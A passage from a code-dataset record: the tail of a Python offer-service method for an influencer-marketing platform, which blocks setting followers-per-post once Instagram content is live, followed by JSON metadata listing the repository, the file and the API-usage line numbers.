previous_state})\n\n    def set_followers_per_post(self, followers):\n        \"\"\"Set followers per post, if no content is live\n\n        Followers per post is used to estimate reach for a campaign, after the\n        content is live, the followers at time of posting should be used\n        instead\n        \"\"\"\n\n        if any(\n            gig.instagram_post is not None\n            or (gig.instagram_story is not None and gig.instagram_story.posted)\n            for gig in self.offer.gigs\n        ):\n            raise ServiceException(\n                \"Unable to set followers per post if any content posted on Instagram\"\n            )\n\n        self.log.add_event(\"set_followers_per_post\", {\"followers\": followers})\n", "repo_name": "hassan1731996/takumi", "sub_path": "src/takumi/services/offer.py", "file_name": "offer.py", "file_ext": "py", "file_size_in_byte": 26958, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "takumi.services.exceptions.InvalidAnswersException", "line_number": 56, "usage_type": "call"}, {"api_name": "takumi.i18n.gettext", "line_number": 56, "usage_type": "call"}, {"api_name": "takumi.services.exceptions.InvalidAnswersException", "line_number": 64, "usage_type": "call"}, {"api_name": "takumi.i18n.gettext", "line_number": 64, "usage_type": "call"}, {"api_name": "takumi.services.exceptions.InvalidAnswersException", "line_number": 69, "usage_type": "call"}, {"api_name": "takumi.i18n.gettext", "line_number": 70, "usage_type": "call"}, {"api_name": "takumi.services.Service", "line_number": 74, "usage_type": "name"}, {"api_name": "takumi.models.Offer", "line_number": 80, "usage_type": "name"}, {"api_name": "takumi.events.offer.OfferLog", "line_number": 81, "usage_type": "name"}, {"api_name": "takumi.models.Offer", "line_number": 84, "usage_type": "name"}, {"api_name": "takumi.models.Offer.query.get", "line_number": 90, "usage_type": "call"}, {"api_name": "takumi.models.Offer.query", "line_number": 90, "usage_type": "attribute"}, {"api_name": "takumi.models.Offer", "line_number": 90, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 89, "usage_type": "name"}, {"api_name": "takumi.models.Offer", "line_number": 89, "usage_type": "name"}, {"api_name": "takumi.models.Offer.query.filter", "line_number": 108, "usage_type": "call"}, {"api_name": "takumi.models.Offer.query", "line_number": 108, "usage_type": "attribute"}, {"api_name": "takumi.models.Offer", "line_number": 108, "usage_type": "name"}, {"api_name": "takumi.models.Offer.campaign_id", "line_number": 109, "usage_type": "attribute"}, {"api_name": "takumi.models.Offer", "line_number": 109, "usage_type": "name"}, {"api_name": "takumi.models.Offer.state", "line_number": 110, "usage_type": "attribute"}, {"api_name": "takumi.models.Offer", "line_number": 110, "usage_type": "name"}, {"api_name": "takumi.models.offer.STATES.ACCEPTED", "line_number": 110, "usage_type": "attribute"}, {"api_name": "takumi.models.offer.STATES", "line_number": 110, "usage_type": "name"}, {"api_name": "takumi.models.Offer.engagement_rate_static", "line_number": 111, "usage_type": "attribute"}, {"api_name": "takumi.models.Offer", "line_number": 111, "usage_type": "name"}, {"api_name": "takumi.models.Offer.engagement_rate_static.desc", "line_number": 113, "usage_type": "call"}, {"api_name": "takumi.models.Offer.engagement_rate_static", "line_number": 113, "usage_type": "attribute"}, {"api_name": "takumi.models.Offer", "line_number": 113, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 93, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 93, "usage_type": "name"}, {"api_name": "takumi.models.Offer", "line_number": 93, "usage_type": "name"}, {"api_name": "takumi.models.Offer.query.filter", "line_number": 120, "usage_type": "call"}, {"api_name": "takumi.models.Offer.query", "line_number": 120, "usage_type": "attribute"}, {"api_name": "takumi.models.Offer", "line_number": 120, "usage_type": "name"}, {"api_name": "takumi.models.Offer.influencer_id", "line_number": 121, "usage_type": "attribute"}, {"api_name": "takumi.models.Offer", "line_number": 121, "usage_type": "name"}, {"api_name": "takumi.models.Offer.campaign_id", "line_number": 121, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 119, "usage_type": "name"}, {"api_name": "takumi.models.Offer", "line_number": 119, "usage_type": "name"}, {"api_name": "takumi.models.OfferEvent.query.join", "line_number": 127, "usage_type": "call"}, {"api_name": "takumi.models.Offer", "line_number": 127, "usage_type": "argument"}, {"api_name": "takumi.models.OfferEvent.query", "line_number": 127, "usage_type": "attribute"}, {"api_name": "takumi.models.OfferEvent", "line_number": 127, "usage_type": "name"}, {"api_name": "takumi.models.OfferEvent.type", "line_number": 128, "usage_type": "attribute"}, {"api_name": "takumi.models.OfferEvent", "line_number": 128, "usage_type": "name"}, {"api_name": "takumi.models.Offer.id", "line_number": 128, "usage_type": "attribute"}, {"api_name": "takumi.models.Offer", "line_number": 128, "usage_type": "name"}, {"api_name": "takumi.models.OfferEvent.created", "line_number": 129, "usage_type": "attribute"}, {"api_name": "takumi.models.OfferEvent", "line_number": 129, "usage_type": "name"}, {"api_name": "takumi.models.OfferEvent.created.desc", "line_number": 130, "usage_type": "call"}, {"api_name": "takumi.models.OfferEvent.created", "line_number": 130, "usage_type": "attribute"}, {"api_name": "takumi.models.OfferEvent", "line_number": 130, "usage_type": "name"}, {"api_name": "takumi.models.OfferEvent.query.filter", "line_number": 136, "usage_type": "call"}, {"api_name": "takumi.models.OfferEvent.query", "line_number": 136, "usage_type": "attribute"}, {"api_name": "takumi.models.OfferEvent", "line_number": 136, "usage_type": "name"}, {"api_name": "takumi.models.OfferEvent.offer_id", "line_number": 136, "usage_type": "attribute"}, {"api_name": "takumi.models.OfferEvent.type", "line_number": 136, "usage_type": "attribute"}, {"api_name": "takumi.models.OfferEvent.created.desc", "line_number": 137, "usage_type": "call"}, {"api_name": "takumi.models.OfferEvent.created", "line_number": 137, "usage_type": "attribute"}, {"api_name": "takumi.models.OfferEvent", "line_number": 137, "usage_type": "name"}, {"api_name": "takumi.models.OfferEvent.query.filter", "line_number": 150, "usage_type": "call"}, {"api_name": "takumi.models.OfferEvent.query", "line_number": 150, "usage_type": "attribute"}, {"api_name": "takumi.models.OfferEvent", "line_number": 150, "usage_type": "name"}, {"api_name": "takumi.models.OfferEvent.offer_id", "line_number": 151, "usage_type": "attribute"}, {"api_name": "takumi.models.OfferEvent", "line_number": 151, "usage_type": "name"}, {"api_name": "takumi.models.OfferEvent.type.in_", "line_number": 152, "usage_type": "call"}, {"api_name": "takumi.models.OfferEvent.type", "line_number": 152, "usage_type": "attribute"}, {"api_name": "takumi.models.OfferEvent", "line_number": 152, "usage_type": "name"}, {"api_name": "takumi.models.OfferEvent.created", "line_number": 154, "usage_type": "attribute"}, {"api_name": "takumi.models.OfferEvent", "line_number": 154, "usage_type": "name"}, {"api_name": "takumi.models.OfferEvent.created.desc", "line_number": 155, "usage_type": "call"}, {"api_name": "takumi.models.OfferEvent.created", "line_number": 155, "usage_type": "attribute"}, {"api_name": "takumi.models.OfferEvent", "line_number": 155, "usage_type": "name"}, {"api_name": "takumi.models.Offer", "line_number": 162, "usage_type": "name"}, {"api_name": "takumi.models.Offer.query.filter", "line_number": 165, "usage_type": "call"}, {"api_name": "takumi.models.Offer.query", "line_number": 165, "usage_type": "attribute"}, {"api_name": "takumi.models.Offer", "line_number": 165, "usage_type": "name"}, {"api_name": "influencer.InfluencerService.get_by_id", "line_number": 174, "usage_type": "call"}, {"api_name": "influencer.InfluencerService", "line_number": 174, "usage_type": "name"}, {"api_name": "campaign.CampaignService.get_by_id", "line_number": 175, "usage_type": "call"}, {"api_name": "campaign.CampaignService", "line_number": 175, "usage_type": "name"}, {"api_name": "takumi.services.exceptions.ServiceException", "line_number": 178, "usage_type": "call"}, {"api_name": "takumi.services.exceptions.ServiceException", "line_number": 181, "usage_type": "call"}, {"api_name": "takumi.rewards.RewardCalculator", "line_number": 184, "usage_type": "call"}, {"api_name": "campaign.fund.is_reservable", "line_number": 186, "usage_type": "call"}, {"api_name": "campaign.fund", "line_number": 186, "usage_type": "attribute"}, {"api_name": "takumi.services.exceptions.CampaignFullyReservedException", "line_number": 187, "usage_type": "call"}, {"api_name": "campaign.advertiser.on_cooldown", "line_number": 189, "usage_type": "call"}, {"api_name": "campaign.advertiser", "line_number": 189, "usage_type": "attribute"}, {"api_name": "takumi.services.exceptions.InfluencerOnCooldownForAdvertiserException", "line_number": 190, "usage_type": "call"}, {"api_name": "influencer.username", "line_number": 192, "usage_type": "attribute"}, {"api_name": "campaign.advertiser", "line_number": 192, "usage_type": "attribute"}, {"api_name": "campaign.submission_deadline", "line_number": 196, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 196, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 196, "usage_type": "attribute"}, {"api_name": "datetime.timezone", "line_number": 197, "usage_type": "attribute"}, {"api_name": "takumi.services.exceptions.ServiceException", "line_number": 199, "usage_type": "call"}, {"api_name": "campaign.deadline", "line_number": 200, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 200, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 200, "usage_type": "attribute"}, {"api_name": "datetime.timezone", "line_number": 200, "usage_type": "attribute"}, {"api_name": "takumi.services.exceptions.ServiceException", "line_number": 201, "usage_type": "call"}, {"api_name": "influencer.id", "line_number": 203, "usage_type": "attribute"}, {"api_name": "campaign.id", "line_number": 203, "usage_type": "attribute"}, {"api_name": "takumi.services.exceptions.OfferAlreadyExistsException", "line_number": 205, "usage_type": "call"}, {"api_name": "influencer.id", "line_number": 207, "usage_type": "attribute"}, {"api_name": "campaign.id", "line_number": 207, "usage_type": "attribute"}, {"api_name": "influencer.state", "line_number": 213, "usage_type": "attribute"}, {"api_name": "takumi.models.influencer.STATES.VERIFIED", "line_number": 213, "usage_type": "attribute"}, {"api_name": "takumi.models.influencer.STATES", "line_number": 213, "usage_type": "name"}, {"api_name": "takumi.models.influencer.STATES.REVIEWED", "line_number": 213, "usage_type": "attribute"}, {"api_name": "influencer.is_eligible", "line_number": 214, "usage_type": "attribute"}, {"api_name": "campaign.targeting.targets_influencer", "line_number": 215, "usage_type": "call"}, {"api_name": "campaign.targeting", "line_number": 215, "usage_type": "attribute"}, {"api_name": "takumi.services.exceptions.InfluencerNotEligibleException", "line_number": 219, "usage_type": "call"}, {"api_name": "takumi.error_codes.INFLUENCER_NOT_ELIGIBLE_ERROR_CODE", "line_number": 220, "usage_type": "argument"}, {"api_name": "influencer.target_region", "line_number": 222, "usage_type": "attribute"}, {"api_name": "influencer.target_region.get_vat_percentage", "line_number": 223, "usage_type": "call"}, {"api_name": "influencer.target_region", "line_number": 223, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 224, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 224, "usage_type": "attribute"}, {"api_name": "datetime.timezone", "line_number": 224, "usage_type": "attribute"}, {"api_name": "takumi.models.Offer", "line_number": 229, "usage_type": "call"}, {"api_name": "takumi.events.offer.OfferLog", "line_number": 230, "usage_type": "call"}, {"api_name": "influencer.instagram_account", "line_number": 232, "usage_type": "attribute"}, {"api_name": "influencer.instagram_account", "line_number": 233, "usage_type": "attribute"}, {"api_name": "campaign.apply_first", "line_number": 238, "usage_type": "attribute"}, {"api_name": "campaign.id", "line_number": 240, "usage_type": "attribute"}, {"api_name": "influencer.id", "line_number": 241, "usage_type": "attribute"}, {"api_name": "influencer.estimated_engagements_per_post", "line_number": 245, "usage_type": "attribute"}, {"api_name": "takumi.extensions.db.session.add", "line_number": 249, "usage_type": "call"}, {"api_name": "takumi.extensions.db.session", "line_number": 249, "usage_type": "attribute"}, {"api_name": "takumi.extensions.db", "line_number": 249, "usage_type": "name"}, {"api_name": "takumi.extensions.db.session.commit", "line_number": 250, "usage_type": "call"}, {"api_name": "takumi.extensions.db.session", "line_number": 250, "usage_type": "attribute"}, {"api_name": "takumi.extensions.db", "line_number": 250, "usage_type": "name"}, {"api_name": "influencer.instagram_account", "line_number": 253, "usage_type": "attribute"}, {"api_name": "takumi.tasks.instagram_account.update_latest_posts.delay", "line_number": 254, "usage_type": "call"}, {"api_name": "takumi.tasks.instagram_account.update_latest_posts", "line_number": 254, "usage_type": "name"}, {"api_name": "influencer.instagram_account", "line_number": 254, "usage_type": "attribute"}, {"api_name": "takumi.models.Comment.create", "line_number": 260, "usage_type": "call"}, {"api_name": "takumi.models.Comment", "line_number": 260, "usage_type": "name"}, {"api_name": "takumi.models.UserCommentAssociation.create", "line_number": 265, "usage_type": "call"}, {"api_name": "takumi.models.UserCommentAssociation", "line_number": 265, "usage_type": "name"}, {"api_name": "takumi.services.exceptions.ServiceException", "line_number": 269, "usage_type": "call"}, {"api_name": "takumi.models.offer.STATES.PENDING", "line_number": 271, "usage_type": "attribute"}, {"api_name": "takumi.models.offer.STATES", "line_number": 271, "usage_type": "name"}, {"api_name": "takumi.models.offer.STATES.INVITED", "line_number": 272, "usage_type": "attribute"}, {"api_name": "takumi.models.offer.STATES", "line_number": 272, "usage_type": "name"}, {"api_name": "takumi.models.offer.STATES.ACCEPTED", "line_number": 273, "usage_type": "attribute"}, {"api_name": "takumi.models.offer.STATES", "line_number": 273, "usage_type": "name"}, {"api_name": "takumi.models.offer.STATES.REQUESTED", "line_number": 274, "usage_type": "attribute"}, {"api_name": "takumi.models.offer.STATES", "line_number": 274, "usage_type": "name"}, {"api_name": "takumi.models.offer.STATES.APPROVED_BY_BRAND", "line_number": 275, "usage_type": "attribute"}, {"api_name": "takumi.models.offer.STATES", "line_number": 275, "usage_type": "name"}, {"api_name": "takumi.models.offer.STATES.CANDIDATE", "line_number": 276, "usage_type": "attribute"}, {"api_name": "takumi.models.offer.STATES", "line_number": 276, "usage_type": "name"}, {"api_name": "takumi.services.exceptions.ServiceException", "line_number": 278, "usage_type": "call"}, {"api_name": "takumi.models.offer.STATES.REQUESTED", "line_number": 283, "usage_type": "attribute"}, {"api_name": "takumi.models.offer.STATES", "line_number": 283, "usage_type": "name"}, {"api_name": "influencer.has_device", "line_number": 283, "usage_type": "attribute"}, {"api_name": "takumi.notifications.NotificationClient.from_influencer", "line_number": 284, "usage_type": "call"}, {"api_name": "takumi.notifications.NotificationClient", "line_number": 284, "usage_type": "name"}, {"api_name": "takumi.i18n.locale_context", "line_number": 285, "usage_type": "call"}, {"api_name": "influencer.user", "line_number": 285, "usage_type": "attribute"}, {"api_name": "takumi.i18n.gettext", "line_number": 287, "usage_type": "call"}, {"api_name": "influencer.user", "line_number": 301, "usage_type": "attribute"}, {"api_name": "takumi.services.influencer.InfluencerService", "line_number": 306, "usage_type": "call"}, {"api_name": "takumi.services.influencer.FetchingAudienceInsightsFailed", "line_number": 307, "usage_type": "name"}, {"api_name": "campaign.requires_tiktok_account", "line_number": 310, "usage_type": "attribute"}, {"api_name": "influencer.user", "line_number": 310, "usage_type": "attribute"}, {"api_name": "takumi.services.exceptions.ServiceException", "line_number": 311, "usage_type": "call"}, {"api_name": "influencer.info.get", "line_number": 315, "usage_type": "call"}, {"api_name": "influencer.info", "line_number": 315, "usage_type": "attribute"}, {"api_name": "influencer.user", "line_number": 316, "usage_type": "attribute"}, {"api_name": "takumi.services.exceptions.ServiceException", "line_number": 318, "usage_type": "call"}, {"api_name": "takumi.models.offer.STATES.REQUESTED", "line_number": 319, "usage_type": "attribute"}, {"api_name": "takumi.models.offer.STATES", "line_number": 319, "usage_type": "name"}, {"api_name": "takumi.services.exceptions.AlreadyRequestedException", "line_number": 320, "usage_type": "call"}, {"api_name": "takumi.models.offer.STATES.REJECTED", "line_number": 321, "usage_type": "attribute"}, {"api_name": "takumi.models.offer.STATES", "line_number": 321, "usage_type": "name"}, {"api_name": "takumi.services.exceptions.ServiceException", "line_number": 322, "usage_type": "call"}, {"api_name": "campaign.prompts", "line_number": 325, "usage_type": "attribute"}, {"api_name": "takumi.models.Config.get", "line_number": 331, "usage_type": "call"}, {"api_name": "takumi.models.Config", "line_number": 331, "usage_type": "name"}, {"api_name": "takumi.tasks.audit.create_audit.delay", "line_number": 333, "usage_type": "call"}, {"api_name": "takumi.tasks.audit.create_audit", "line_number": 333, "usage_type": "attribute"}, {"api_name": "takumi.tasks.audit", "line_number": 333, "usage_type": "name"}, {"api_name": "takumi.campaigns.campaign_reserve_state", "line_number": 336, "usage_type": "call"}, {"api_name": "takumi.services.exceptions.CampaignRequiresRequestForParticipation", "line_number": 338, "usage_type": "call"}, {"api_name": "takumi.error_codes.CAMPAIGN_REQUIRES_REQUEST_ERROR_CODE", "line_number": 340, "usage_type": "argument"}, {"api_name": "takumi.services.exceptions.CampaignFullyReservedException", "line_number": 343, "usage_type": "call"}, {"api_name": "takumi.error_codes.CAMPAIGN_NOT_RESERVABLE_ERROR_CODE", "line_number": 344, "usage_type": "argument"}, {"api_name": "takumi.models.campaign.STATES.LAUNCHED", "line_number": 347, "usage_type": "attribute"}, {"api_name": "takumi.models.campaign.STATES", "line_number": 347, "usage_type": "name"}, {"api_name": "takumi.services.exceptions.CampaignNotLaunchedException", "line_number": 348, "usage_type": "call"}, {"api_name": "takumi.error_codes.CAMPAIGN_NOT_LAUNCHED_ERROR_CODE", "line_number": 349, "usage_type": "argument"}, {"api_name": "takumi.models.offer.STATES.INVITED", "line_number": 352, "usage_type": "attribute"}, {"api_name": "takumi.models.offer.STATES", "line_number": 352, "usage_type": "name"}, {"api_name": "takumi.services.exceptions.OfferNotReservableException", "line_number": 353, "usage_type": "call"}, {"api_name": "takumi.error_codes.INVALID_OFFER_STATE_ERROR_CODE", "line_number": 355, "usage_type": "argument"}, {"api_name": "takumi.services.exceptions.OfferNotReservableException", "line_number": 359, "usage_type": "call"}, {"api_name": "takumi.rewards.RewardCalculator", "line_number": 362, "usage_type": "call"}, {"api_name": "takumi.extensions.db.session.commit", "line_number": 367, "usage_type": "call"}, {"api_name": "takumi.extensions.db.session", "line_number": 367, "usage_type": "attribute"}, {"api_name": "takumi.extensions.db", "line_number": 367, "usage_type": "name"}, {"api_name": "takumi.services.exceptions.OfferRewardChangedException", "line_number": 369, "usage_type": "call"}, {"api_name": "takumi.error_codes.OFFER_REWARD_CHANGED_ERROR_CODE", "line_number": 371, "usage_type": "argument"}, {"api_name": "takumi.models.Config.get", "line_number": 378, "usage_type": "call"}, {"api_name": "takumi.models.Config", "line_number": 378, "usage_type": "name"}, {"api_name": "takumi.tasks.audit.create_audit.delay", "line_number": 380, "usage_type": "call"}, {"api_name": "takumi.tasks.audit.create_audit", "line_number": 380, "usage_type": "attribute"}, {"api_name": "takumi.tasks.audit", "line_number": 380, "usage_type": "name"}, {"api_name": "takumi.campaigns.campaign_reserve_state", "line_number": 383, "usage_type": "call"}, {"api_name": "takumi.models.offer.STATES.PENDING", "line_number": 385, "usage_type": "attribute"}, {"api_name": "takumi.models.offer.STATES", "line_number": 385, "usage_type": "name"}, {"api_name": "takumi.models.offer.STATES.INVITED", "line_number": 386, "usage_type": "attribute"}, {"api_name": "takumi.models.offer.STATES", "line_number": 386, "usage_type": "name"}, {"api_name": "takumi.models.offer.STATES.REJECTED", "line_number": 387, "usage_type": "attribute"}, {"api_name": "takumi.models.offer.STATES", "line_number": 387, "usage_type": "name"}, {"api_name": "takumi.models.offer.STATES.REVOKED", "line_number": 388, "usage_type": "attribute"}, {"api_name": "takumi.models.offer.STATES", "line_number": 388, "usage_type": "name"}, {"api_name": "takumi.services.exceptions.OfferNotReservableException", "line_number": 390, "usage_type": "call"}, {"api_name": "takumi.error_codes.INVALID_OFFER_STATE_ERROR_CODE", "line_number": 392, "usage_type": "argument"}, {"api_name": "takumi.services.exceptions.CampaignFullyReservedException", "line_number": 395, "usage_type": "call"}, {"api_name": "takumi.error_codes.CAMPAIGN_NOT_RESERVABLE_ERROR_CODE", "line_number": 396, "usage_type": "argument"}, {"api_name": "takumi.models.campaign.STATES.LAUNCHED", "line_number": 399, "usage_type": "attribute"}, {"api_name": "takumi.models.campaign.STATES", "line_number": 399, "usage_type": "name"}, {"api_name": "takumi.services.exceptions.CampaignNotLaunchedException", "line_number": 400, "usage_type": "call"}, {"api_name": "takumi.error_codes.CAMPAIGN_NOT_LAUNCHED_ERROR_CODE", "line_number": 401, "usage_type": "argument"}, {"api_name": "takumi.services.exceptions.OfferNotReservableException", "line_number": 405, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 412, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 412, "usage_type": "attribute"}, {"api_name": "datetime.timezone", "line_number": 412, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 412, "usage_type": "call"}, {"api_name": "takumi.extensions.db.session.add", "line_number": 415, "usage_type": "call"}, {"api_name": "takumi.extensions.db.session", "line_number": 415, "usage_type": "attribute"}, {"api_name": "takumi.extensions.db", "line_number": 415, "usage_type": "name"}, {"api_name": "takumi.campaigns.campaign_reserve_state", "line_number": 420, "usage_type": "call"}, {"api_name": "takumi.models.offer.STATES.APPROVED_BY_BRAND", "line_number": 423, "usage_type": "attribute"}, {"api_name": "takumi.models.offer.STATES", "line_number": 423, "usage_type": "name"}, {"api_name": "takumi.services.exceptions.OfferNotReservableException", "line_number": 425, "usage_type": "call"}, {"api_name": "takumi.error_codes.INVALID_OFFER_STATE_ERROR_CODE", "line_number": 429, "usage_type": "argument"}, {"api_name": "takumi.models.offer.STATES.APPROVED_BY_BRAND", "line_number": 431, "usage_type": "attribute"}, {"api_name": "takumi.models.offer.STATES", "line_number": 431, "usage_type": "name"}, {"api_name": "takumi.models.offer.STATES.REQUESTED", "line_number": 431, "usage_type": "attribute"}, {"api_name": "takumi.services.exceptions.OfferNotReservableException", "line_number": 432, "usage_type": "call"}, {"api_name": "takumi.error_codes.INVALID_OFFER_STATE_ERROR_CODE", "line_number": 436, "usage_type": "argument"}, {"api_name": "takumi.services.exceptions.CampaignFullyReservedException", "line_number": 439, "usage_type": "call"}, {"api_name": "takumi.error_codes.CAMPAIGN_NOT_RESERVABLE_ERROR_CODE", "line_number": 440, "usage_type": "argument"}, {"api_name": "takumi.models.campaign.STATES.LAUNCHED", "line_number": 443, "usage_type": "attribute"}, {"api_name": "takumi.models.campaign.STATES", "line_number": 443, "usage_type": "name"}, {"api_name": "takumi.services.exceptions.CampaignNotLaunchedException", "line_number": 444, "usage_type": "call"}, {"api_name": "takumi.error_codes.CAMPAIGN_NOT_LAUNCHED_ERROR_CODE", "line_number": 445, "usage_type": "argument"}, {"api_name": "takumi.services.exceptions.OfferNotReservableException", "line_number": 449, "usage_type": "call"}, {"api_name": "takumi.i18n.gettext", "line_number": 454, "usage_type": "call"}, {"api_name": "takumi.services.exceptions.OfferAlreadyClaimed", "line_number": 466, "usage_type": "call"}, {"api_name": "takumi.services.exceptions.OfferNotRejectableException", "line_number": 472, "usage_type": "call"}, {"api_name": "takumi.error_codes.UNREJECTABLE_OFFER_ERROR_CODE", "line_number": 473, "usage_type": "argument"}, {"api_name": "takumi.events.offer.OfferLog", "line_number": 475, "usage_type": "call"}, {"api_name": "takumi.services.exceptions.OfferNotDispatchableException", "line_number": 479, "usage_type": "call"}, {"api_name": "takumi.models.offer.STATES.ACCEPTED", "line_number": 483, "usage_type": "attribute"}, {"api_name": "takumi.models.offer.STATES", "line_number": 483, "usage_type": "name"}, {"api_name": "takumi.services.exceptions.OfferNotDispatchableException", "line_number": 484, "usage_type": "call"}, {"api_name": "takumi.events.offer.OfferLog", "line_number": 490, "usage_type": "call"}, {"api_name": "takumi.models.offer.STATES.ACCEPTED", "line_number": 494, "usage_type": "attribute"}, {"api_name": "takumi.models.offer.STATES", "line_number": 494, "usage_type": "name"}, {"api_name": "takumi.services.exceptions.OfferNotClaimableException", "line_number": 495, "usage_type": "call"}, {"api_name": "takumi.error_codes.INVALID_OFFER_STATE_ERROR_CODE", "line_number": 497, "usage_type": "argument"}, {"api_name": "takumi.services.exceptions.OfferNotClaimableException", "line_number": 500, "usage_type": "call"}, {"api_name": "takumi.events.offer.OfferLog", "line_number": 513, "usage_type": "call"}, {"api_name": "takumi.services.PaymentService.create", "line_number": 521, "usage_type": "call"}, {"api_name": "takumi.services.PaymentService", "line_number": 521, "usage_type": "name"}, {"api_name": "takumi.models.payment.STATES.PAID", "line_number": 525, "usage_type": "attribute"}, {"api_name": "takumi.models.payment.STATES", "line_number": 525, "usage_type": "name"}, {"api_name": "takumi.services.exceptions.OfferPushNotificationException", "line_number": 529, "usage_type": "call"}, {"api_name": "takumi.models.offer.STATES.PENDING", "line_number": 533, "usage_type": "attribute"}, {"api_name": "takumi.models.offer.STATES", "line_number": 533, "usage_type": "name"}, {"api_name": "takumi.models.offer.STATES.ACCEPTED", "line_number": 534, "usage_type": "attribute"}, {"api_name": "takumi.models.offer.STATES", "line_number": 534, "usage_type": "name"}, {"api_name": "takumi.models.offer.STATES.INVITED", "line_number": 535, "usage_type": "attribute"}, {"api_name": "takumi.models.offer.STATES", "line_number": 535, "usage_type": "name"}, {"api_name": "takumi.services.exceptions.OfferPushNotificationException", "line_number": 537, "usage_type": "call"}, {"api_name": "takumi.error_codes.INVALID_OFFER_STATE_ERROR_CODE", "line_number": 539, "usage_type": "argument"}, {"api_name": "takumi.services.exceptions.OfferPushNotificationException", "line_number": 542, "usage_type": "call"}, {"api_name": "takumi.models.campaign.STATES.LAUNCHED", "line_number": 545, "usage_type": "attribute"}, {"api_name": "takumi.models.campaign.STATES", "line_number": 545, "usage_type": "name"}, {"api_name": "takumi.services.exceptions.OfferPushNotificationException", "line_number": 546, "usage_type": "call"}, {"api_name": "takumi.extensions.db.session.add", "line_number": 558, "usage_type": "call"}, {"api_name": "takumi.extensions.db.session", "line_number": 558, "usage_type": "attribute"}, {"api_name": "takumi.extensions.db", "line_number": 558, "usage_type": "name"}, {"api_name": "takumi.models.Notification", "line_number": 559, "usage_type": "call"}, {"api_name": "takumi.schedule.period.DateTimePeriod", "line_number": 572, "usage_type": "call"}, {"api_name": "campaign.apply_first", "line_number": 587, "usage_type": "attribute"}, {"api_name": "takumi.services.exceptions.ApplyFirstException", "line_number": 588, "usage_type": "call"}, {"api_name": "campaign.candidates_submitted", "line_number": 594, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 594, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 594, "usage_type": "attribute"}, {"api_name": "datetime.timezone", "line_number": 594, "usage_type": "attribute"}, {"api_name": "campaign.apply_first", "line_number": 596, "usage_type": "attribute"}, {"api_name": "takumi.services.exceptions.ApplyFirstException", "line_number": 597, "usage_type": "call"}, {"api_name": "campaign.apply_first", "line_number": 608, "usage_type": "attribute"}, {"api_name": "takumi.services.exceptions.ApplyFirstException", "line_number": 609, "usage_type": "call"}, {"api_name": "campaign.apply_first", "line_number": 616, "usage_type": "attribute"}, {"api_name": "takumi.services.exceptions.ApplyFirstException", "line_number": 617, "usage_type": "call"}, {"api_name": "influencer.has_device", "line_number": 622, "usage_type": "attribute"}, {"api_name": "takumi.notifications.NotificationClient.from_influencer", "line_number": 623, "usage_type": "call"}, {"api_name": "takumi.notifications.NotificationClient", "line_number": 623, "usage_type": "name"}, {"api_name": "takumi.i18n.locale_context", "line_number": 624, "usage_type": "call"}, {"api_name": "influencer.user", "line_number": 624, "usage_type": "attribute"}, {"api_name": "takumi.i18n.gettext", "line_number": 626, "usage_type": "call"}, {"api_name": "takumi.models.offer.STATES.REJECTED", "line_number": 642, "usage_type": "attribute"}, {"api_name": "takumi.models.offer.STATES", "line_number": 642, "usage_type": "name"}, {"api_name": "takumi.models.offer.STATES.REJECTED_BY_BRAND", "line_number": 644, "usage_type": "attribute"}, {"api_name": "takumi.models.offer.STATES", "line_number": 644, "usage_type": "name"}, {"api_name": "takumi.models.offer.STATES.REVOKED", "line_number": 646, "usage_type": "attribute"}, {"api_name": "takumi.models.offer.STATES", "line_number": 646, "usage_type": "name"}, {"api_name": "takumi.services.exceptions.ServiceException", "line_number": 649, "usage_type": "call"}, {"api_name": "takumi.models.OfferEvent.query.filter", "line_number": 652, "usage_type": "call"}, {"api_name": "takumi.models.OfferEvent.query", "line_number": 652, "usage_type": "attribute"}, {"api_name": "takumi.models.OfferEvent", "line_number": 652, "usage_type": "name"}, {"api_name": "takumi.models.OfferEvent.offer", "line_number": 653, "usage_type": "attribute"}, {"api_name": "takumi.models.OfferEvent", "line_number": 653, "usage_type": "name"}, {"api_name": "takumi.models.OfferEvent.type", "line_number": 653, "usage_type": "attribute"}, {"api_name": "takumi.models.OfferEvent.event", "line_number": 654, "usage_type": "attribute"}, {"api_name": "takumi.models.OfferEvent", "line_number": 654, "usage_type": "name"}, {"api_name": "takumi.services.exceptions.ServiceException", "line_number": 657, "usage_type": "call"}, {"api_name": "takumi.services.exceptions.ServiceException", "line_number": 662, "usage_type": "call"}, {"api_name": "takumi.models.offer.STATES.ACCEPTED", "line_number": 663, "usage_type": "attribute"}, {"api_name": "takumi.models.offer.STATES", "line_number": 663, "usage_type": "name"}, {"api_name": "campaign.fund.get_offer_units", "line_number": 665, "usage_type": "call"}, {"api_name": "campaign.fund", "line_number": 665, "usage_type": "attribute"}, {"api_name": "campaign.fund.can_reserve_units", "line_number": 666, "usage_type": "call"}, {"api_name": "campaign.fund", "line_number": 666, "usage_type": "attribute"}, {"api_name": "takumi.services.exceptions.ServiceException", "line_number": 667, "usage_type": "call"}, {"api_name": "takumi.services.exceptions.ServiceException", "line_number": 684, "usage_type": "call"}]}
